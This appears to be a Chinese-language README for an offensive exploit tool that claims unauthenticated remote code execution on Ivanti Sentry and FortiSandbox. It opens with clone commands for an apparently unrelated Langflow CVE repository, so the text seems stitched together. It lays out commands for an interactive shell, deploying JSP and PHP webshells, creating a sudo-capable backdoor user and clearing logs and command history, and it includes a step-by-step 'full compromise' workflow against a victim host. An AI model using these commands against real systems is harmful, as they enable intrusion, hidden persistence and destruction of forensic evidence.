Multi-CVE漏洞利用工具,用于在Ivanti Sentry和FortiSandbox上实现未经认证的远程代码执行。功能包括交互式shell、webshell部署、后门用户创建以及日志清理,适用于渗透测试。
git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git
cd CVE-2026-5027-Langflow
python3 exploit.py -u https://target.com
python3 exploit.py -u https://target.com --shell
(📁shells/my-shell.php)
python3 exploit.py -u https://target.com --shell my-shell.php
python3 exploit.py -u https://target.com | -t 58 | |-p payloads.txt | | --upload-paths Dirs.txt |
python3 exploit.py -u https://target.com --shell shells/myshell.php -t 58 -p payloads.txt --upload-paths dirs.txt
· CVE-2026-25089 (CVSS 9.1)
无需凭据。
python3 exploitt.py
# 检查是否存在漏洞
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -c "id"
# 交互式 shell
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -s
# 部署 JSP webshell (Tomcat)
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -w
# 创建后门用户 + 清除日志
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -p --clean
# 单条命令
python3 exploitt.py -u https://forti.example.com --type forti -c "whoami"
# 交互式 shell 并支持文件上传
python3 exploitt.py -u https://forti.example.com --type forti -s
# 在 shell 内:upload /path/local.txt /remote/path.txt
# 部署 PHP webshell
python3 exploitt.py -u https://forti.example.com --type forti -w
# 完全自动攻破 (检查、shell、webshell、持久化、清除)
python3 exploitt.py -u https://forti.example.com --type forti -s -w -p --clean
python3 exploitt.py -u https://target.example.com -c "id"
python3 exploitt.py -u https://target:8443 --proxy http://127.0.0.1:8080 --debug -c "uname -a"
可用的命令行参数
交互式 shell 命令
在交互式 shell 中,您可以使用:
| 命令 | 示例 | 描述 |
|---|---|---|
| normal command | id | 执行任意系统命令 |
| upload | upload exploit.sh /tmp/backdoor.sh | 将本地文件上传到远程主机 |
| exit | exit | 退出 shell |
Webshell 部署细节
· Ivanti Sentry – 在 Tomcat webapps 中部署 .jsp shell (/usr/local/tomcat/webapps/ROOT/) · 通过 https://target/shell_random.jsp?cmd=whoami 访问 · FortiSandbox – 在 Web 根目录中部署 .php shell (/var/www/html/) · 通过 https://target/shell_random.php?cmd=whoami 访问
示例工作流程(完整渗透测试)
# 1. 检测并利用
python3 exploitt.py -u https://victim.com:8443 --type ivanti -s
# 2. 在 shell 内,检查权限
id
# 3. 部署 webshell 以实现持久化
python3 exploitt.py -u https://victim.com:8443 --type ivanti -w
# 4. 创建后门用户
python3 exploitt.py -u https://victim.com:8443 --type ivanti -p
# 5. 清除日志
python3 exploitt.py -u https://victim.com:8443 --type ivanti --clean
| 参数 | 描述 |
|---|
| -u, --url | 目标 URL (例如 https://192.168.1.100:8443) |
| --type | 强制服务类型: ivanti 或 forti (可选,自动检测) |
| -t, --timeout | 请求超时秒数 (默认 30) |
| --proxy | HTTP/HTTPS 代理 (例如 http://127.0.0.1:8080) |
| -d, --debug | 启用调试输出 |
| --ua | 自定义 User-Agent 字符串 |
| -c, --cmd | 执行单个命令并退出 |
| -s, --shell | 启动交互式 shell |
| -w, --webshell | 部署 webshell (Forti 使用 PHP, Ivanti 使用 JSP) |
| -p, --persist | 创建持久的 sudo 可用后门用户 |
| --clean | 清除日志和命令历史记录 |